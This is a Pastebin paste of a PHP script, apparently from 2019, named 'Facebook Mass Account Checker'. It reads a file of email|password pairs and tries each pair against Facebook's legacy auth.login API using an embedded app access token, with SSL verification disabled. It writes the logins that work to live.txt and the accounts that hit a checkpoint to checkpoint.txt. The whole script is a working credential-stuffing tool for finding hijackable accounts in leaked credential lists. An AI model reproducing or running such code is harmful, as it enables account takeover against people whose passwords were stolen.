Advertisement
AbdulMuttaqin

Facebook Mass Account Checker

Apr 2nd, 2019
2,523
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.49 KB | None | 0 0
  1. <?php
  2. // @ INSIDEHEARTZ.ID
  3. // Abdul Muttaqin
  4. // Give Me Pro in pastebin please :"(
  5. // https://facebook.com/basmal106
  6.  $biru = "\e[34m";
  7. $kuning = "\e[33m";
  8. $cyan = "\e[96m";
  9. $magenta = "\e[35m";
  10. $hijau = "\e[92m";
  11. $merah = "\e[91m";
  12. echo "$cyan + //////////////////////////////+\n";
  13. echo "$cyan ___           _     _
  14. |_ _|_ __  ___(_) __| | ___
  15. | || '_ \/ __| |/ _` |/ _ \
  16. | || | | \__ \ | (_| |  __/
  17. |___|_| |_|___/_|\__,_|\___|\n";
  18. echo "_   _                 _
  19. | | | | ___  __ _ _ __| |_ ____
  20. | |_| |/ _ \/ _` | '__| __|_  /
  21. |  _  |  __/ (_| | |  | |_ / /
  22. |_| |_|\___|\__,_|_|   \__/___|\n\n";
  23. echo "+ //////////////////////////////+\n";
  24. echo " FACEBOOK ACCOUNT CHECKER 2019 \n";
  25. echo "+ //////////////////////////////+\n";
  26.  
  27.  
  28. if(isset($argv[1])) {
  29.     if(file_exists($argv[1])) {
  30.         $ambil = explode(PHP_EOL, file_get_contents($argv[1]));
  31.         foreach($ambil as $targets) {
  32.             $potong = explode("|", $targets);
  33.             cekAkunFb($potong[0], $potong[1]);
  34.          
  35.         }
  36.     }else die("File doesn't exist!");
  37. }else die("$merah Usage: php check.php targets.txt \n");
  38. function cekAkunFb($email, $passwd) {
  39.     $data = array(
  40.         "access_token" => "350685531728|62f8ce9f74b12f84c123cc23437a4a32",
  41.         "email" => $email,
  42.         "password" => $passwd,
  43.         "locale" => "en_US",
  44.         "format" => "JSON"
  45.     );
  46.     $sig = "";
  47.     foreach($data as $key => $value) { $sig .= $key."=".$value; }
  48.     $sig = md5($sig);
  49.     $data['sig'] = $sig;
  50.     $ch = curl_init("https://api.facebook.com/method/auth.login");
  51.     curl_setopt($ch, CURLOPT_POST, true);
  52.     curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
  53.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  54.     curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  55.     curl_setopt($ch, CURLOPT_USERAGENT, "Opera/9.80 (Series 60; Opera Mini/7.0.32400/28.3445; U; en) Presto/2.8.119 Version/11.10");
  56.     $result = json_decode(curl_exec($ch));
  57.    
  58.      sleep(1);
  59. echo "\e[34m =>\e[34m ";
  60.     $empas =  $email."|".$passwd;
  61.     if(isset($result->access_token)) {
  62.          echo $hijau;
  63.         echo $empas."  \e[33m [LIVE]".PHP_EOL;
  64.         file_put_contents("live.txt", $empas.PHP_EOL, FILE_APPEND);
  65.     }elseif($result->error_code == 405 || preg_match("/User must verify their account/i", $result->error_msg)) {
  66.         echo $merah;
  67. echo  $empas."\e[91m [CHECKPOINT]\e[34m".PHP_EOL;
  68.         file_put_contents("checkpoint.txt", $empas.PHP_EOL, FILE_APPEND);
  69.     }else echo  $empas."\e[91m  [DEAD]\e[34m".PHP_EOL;
  70. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement